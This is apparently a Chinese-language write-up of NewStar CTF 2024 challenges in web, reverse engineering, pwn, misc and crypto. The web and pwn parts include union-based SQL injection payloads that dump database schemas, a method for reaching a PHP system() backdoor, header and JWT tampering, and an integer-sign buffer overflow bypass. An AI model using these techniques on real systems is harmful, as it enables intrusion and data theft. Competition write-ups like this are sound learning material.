web
headach3
题目内容:
头疼,帮我治治
【难度:签到】
在响应头里
flag{You_Ar3_R3Ally_A_9ooD_d0ctor}
会赢吗
题目内容:
什么是控制台?js又是什么
(本题下发后,请通过http访问相应的ip和port,例如 nc ip port ,改为http://ip:port/)
【难度:简单】
F12查看前端代码,拿到ZmxhZ3tXQTB3
和下一个路由/4cqu1siti0n
访问/4cqu1siti0n
,直奔js代码块,发现定义了revealFlag
函数用于POST请求,最后提示课程为4cqu1siti0n
控制台中直接运行revealFlag("4cqu1siti0n");
,拿到IV95NF9yM2Fs
和下一个路由/s34l
访问路由/s34l
POST请求/api/flag/s34l
路由,请求数据为csrf_token=hfaousghashgfasbasiouwrda1_
,拿到MXlfR3I0c1B
和下一个路由Ap3x
访问/Ap3x
路由,前端代码发现<noscript>标签
POST发包,拿到fSkpKcyF9
合并密文,base64解密
智械危机
题目内容:
我家看门的robots有点铸币,怎么会告诉别人后门没有锁呢
【难度:中等】
看看robots.txt
给了源代码
<?php
function execute_cmd($cmd) {
system($cmd);
}
function decrypt_request($cmd, $key) {
$decoded_key = base64_decode($key);
$reversed_cmd = '';
for ($i = strlen($cmd) - 1; $i >= 0; $i--) {
$reversed_cmd .= $cmd[$i];
}
$hashed_reversed_cmd = md5($reversed_cmd);
if ($hashed_reversed_cmd !== $decoded_key) {
die("Invalid key");
}
$decrypted_cmd = base64_decode($cmd);
return $decrypted_cmd;
}
if (isset($_POST['cmd']) && isset($_POST['key'])) {
execute_cmd(decrypt_request($_POST['cmd'],$_POST['key']));
}
else {
highlight_file(__FILE__);
}
?>
看似复杂其实简单,对最后被执行system的参数cmd进行溯源,发现仅经过一次base64解密,那么cmd传入必定是base64编码的指令,在通过控制key绕过死亡die函数,其逻辑是cmd倒序后MD5运算的值强等于对key进行base64解密的值,于是key的加密过程如下
flag位于根目录,进行相应的加密传参即可
PangBai 过家家(1)
题目内容:
今天我去孤儿院接走了 PangBai,孤儿院的老板连手续都没让我办,可是我一抱起 PangBai,她就嚎啕大哭起来,我陷入了信任危机,于是我打开了婴幼儿护理专业必读书目《图解 HTTP》。
(本题下发后,请通过http访问相应的ip和port,例如 nc ip port ,改为http://ip:port/)
【难度:中等】
leval1,访问/9b18b221-99b7-4b14-800a-e7aecca4e340
路由
提示Query
GET传参?ask=miao
POST传参say=hello
User-Agent头浏览器引擎改为Papa
说:玛卡巴卡阿卡哇卡米卡玛卡呣
utf-8编码
加上; charset=UTF-8
具体看bp设置
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
302跳转,直接替换cookie
X-Forwarded-For: 127.0.0.1
给了密钥
改成level7
没有level7
回到开始jwt改level0
除了题目抽象有点难,题目设计是真不错啊,跟打本子似的,片尾曲也好听
谢谢皮蛋
题目内容:
让我皮蛋看看Flag都藏哪了
【难度:困难】
数字型注入
爆库名
1 and 1=0 union select 1,group_concat(schema_name) from information_schema.schemata
爆表
1 and 1=0 union select 1,group_concat(table_name) from information_schema.tables where table_schema="ctf"
爆列名
1 and 1=0 union select 1,group_concat(column_name) FROM information_schema.columns where table_schema=“A” and table_name='Fl4g'
拿到flag
1 and 1=0 union select 1,value FROM ctf.Fl4g
对了,F12是有hint的
RE
begin
题目内容:
什么是IDA?
【难度:签到】
ida打开
进入flag_part1位置
第一段flag:flag{Mak3_aN_
shift+F12,发现第二段3Ff0rt_tO_5eArcH_
第三段位于函数名,F0r_th3_f14g_C0Rpse
结尾加上}
flag{Mak3_aN_3Ff0rt_tO_5eArcH_F0r_th3_f14g_C0Rpse}
base64
题目内容:
仍然是base64
【难度:简单】
base64换表题,梭了
ezAndroidStudy
题目内容:
这是什么?猫猫虫?
【难度:简单】
第一段:flag{Y0u
加载了ezandroidstudy动态库
ida逆向一波,发现第5段:_r4V4rs4r}
第二段:_@r4
activity_main.xml中flag3:_900d
flag4:_andr01d
flag{Y0u_@r4_900d_andr01d_r4V4rs4r}
Simple_encryption
题目内容:
一眼秒的算法
【难度:简单】
模3,进行-+^操作
密文
from idaapi import *
for i in range(30):
enc=get_byte(0x403020+i)
if i%3==0:
enc+=31
elif i%3==1:
enc-=41
elif i%3==2:
enc^=0x55
print(chr(enc),end="")
ez_debug
题目内容:
动态调试(可能xdbg会更简单哦)
【难度:简单】
判断完flag后会对密文进行解密
甚至不需要改判断标识,打个断点出flag
pwn
Real Login
题目内容:
简简单单签个到吧
【难度:签到】
输入密码给shell
Game
题目内容:
不会连最简单的加法都不会吧
【难度:签到】
alarm函数,其参数为设置的时间,单位秒,指设置时间后发出警报声,即给进程发送SIGALRM信号,对于pwn题,需要远程连接服务器,一般情况下,该函数发出SIGALRM信号时会中断连接
所以在5秒内输入111遍9就能拿到shell,不得不编写脚本了
from pwn import *
p=remote("39.106.48.123",18738)
for i in range(112):
p.sendline(b"9")
p.interactive()
overwrite
题目内容:
你的wallet真的有money喵
【难度:简单】
缓冲区长度可控制,不过有大小限制,通过负数绕过,如nbytes传入-1(0xFFFFFFFF),可绕过nbytes>48
,在read函数中转为无符号型int(4294967295),相当于可读取4GB的数据
nbytes_4栈大小为0x30,填充0x30个字节后,可以覆写bptr的栈,要注意的是,对于atoi函数是有大小限制的
atoi
函数能够处理的最大值为2,147,483,647
,即在输入字符串为"2147483647"
时,atoi
将返回INT_MAX
。如果输入的字符串超出了这个范围,比如
"2147483648"
,atoi
不会返回溢出值,而是返回一个未定义的结果,通常是返回0
。
因此,输入-1绕过长度限制,再输入54(0x30+0x6)个9
gdb
题目内容:
我加密的数据呢?!!!
【难度:简单】
输入与运算得出的enc比较判断
dbg调试,enc位于rbp-0x439
,4557455355431d5d
有个不可见字符\x1d
或者脚本
misc
兑换码
题目内容:
领取newstar前瞻兑换码,明天中午12点就失效喽!就在图片下面。什么,你没有看到?原来是png的下面啊,那没事了。
【难度:简单】
png改高
脚本
import zlib
import struct
import binascii
file = "荣花与炎日之途.png"
fr = open(file,'rb').read()
data = bytearray(fr[12:29])
#crc32key = eval(str(fr[29:33]).replace('\\x','').replace("b'",'0x').replace("'",''))
crc32key = struct.unpack('>I',fr[29:33])[0]&0xffffffff
print(crc32key)
#data = bytearray(b'\x49\x48\x44\x52\x00\x00\x01\xF4\x00\x00\x01\xF1\x08\x06\x00\x00\x00')
n = 4096
for w in range(n):
width = bytearray(struct.pack('>i', w))
for h in range(n):
height = bytearray(struct.pack('>i', h))
for x in range(4):
data[x+4] = width[x]
data[x+8] = height[x]
#print(data)
crc32result = zlib.crc32(data)
if crc32result == crc32key:
print(crc32key)
print(width,height)
print(data)
newpic = bytearray(fr)
for x in range(4):
newpic[x+16] = width[x]
newpic[x+20] = height[x]
fw = open(file+'.png','wb')
fw.write(newpic)
fw.close
Labyrinth
题目内容:
听好了:9月30日,NewStar2024就此陷落。每抹陷落的色彩都将迎来一场漩涡,为题目带来全新的蜕变。
你所熟知的一切都将改变,你所熟悉的flag都将加诸隐写的历练。
至此,一锤定音。
尘埃,已然落定。
#newstar# #LSB# #听好了#
【难度:简单】
StegSolve
QR Research
WhereIsFlag
题目内容:
才。。。才不会告诉你我把flag藏在哪里了!
【难度:简单】
decompress
题目内容:
正在失传的技艺之压缩包解压
【难度:简单】
套娃最后的压缩包需要密码
flag{U_R_th3_ma5ter_0f_dec0mpress}
pleasingMusic
题目内容:
一首歌可以好听到正反都好听(以flag{}形式提交,所有英文字母均为小写)
【难度:签到】
一分多钟有摩斯密码
根据题目提示进行倒序
crypto
Base
题目内容:
This is a base question!
4C4A575851324332474E324547554B494A5A4446513653434E564D444154545A4B354D45454D434E4959345536544B474D5134513D3D3D3D
【难度:签到】
赛博厨梭
Strange King
题目内容:
某喜欢抽锐刻5的皇帝想每天进步一些,直到他娶了个模,回到原点,全部白给
这是他最后留下的讯息:ksjr{EcxvpdErSvcDgdgEzxqjql},flag包裹的是可读的明文
【难度:简单】
dic_lo='abcdefghijklmnopqrstuvwxyz'
dic_up='ABCDEFGHIJKLMNOPQRSTUVWXYZ'
enc='ksjr{EcxvpdErSvcDgdgEzxqjql}'
flag=''
for i in range(len(enc)):
if enc[i]=='{' or enc[i]=='}':
flag+=enc[i]
continue
if enc[i].islower():
flag += dic_lo[(ord(enc[i]) - 97 + 21 - i * 2) % 26]
if enc[i].isupper():
flag += dic_up[(ord(enc[i]) - 97 + 1 - i * 2) % 26]
print(flag)
xor
题目内容:
如果再来一次的话,就能回到从前,一切都会好起来的
【难度:签到】
xor可逆
from Crypto.Util.number import *
from pwn import xor
c1= 8091799978721254458294926060841
c2= b';:\x1c1<\x03>*\x10\x11u;'
key = b'New_Star_CTF'
m1 = c1 ^ bytes_to_long(key)
m2 = xor(key, c2)
print(long_to_bytes(m1)+m2)
一眼秒了
题目内容:
n小小的也很可爱
【难度:简单】
from Crypto.Util.number import long_to_bytes
from gmpy2 import is_prime, mpz
from sympy import factorint
# 给定的 n 和 c
n = 52147017298260357180329101776864095134806848020663558064141648200366079331962132411967917697877875277103045755972006084078559453777291403087575061382674872573336431876500128247133861957730154418461680506403680189755399752882558438393107151815794295272358955300914752523377417192504702798450787430403387076153
c = 48757373363225981717076130816529380470563968650367175499612268073517990636849798038662283440350470812898424299904371831068541394247432423751879457624606194334196130444478878533092854342610288522236409554286954091860638388043037601371807379269588474814290382239910358697485110591812060488786552463208464541069
e = 65537
# 因数分解 n
factors = factorint(n)
p, q = [mpz(f) for f in factors]
# 计算 φ(n)
phi_n = (p - 1) * (q - 1)
# 计算 d
d = pow(e, -1, phi_n)
# 解密 m
m = pow(c, d, n)
# 转换为字节并输出
flag_bytes = long_to_bytes(m)
print(flag_bytes)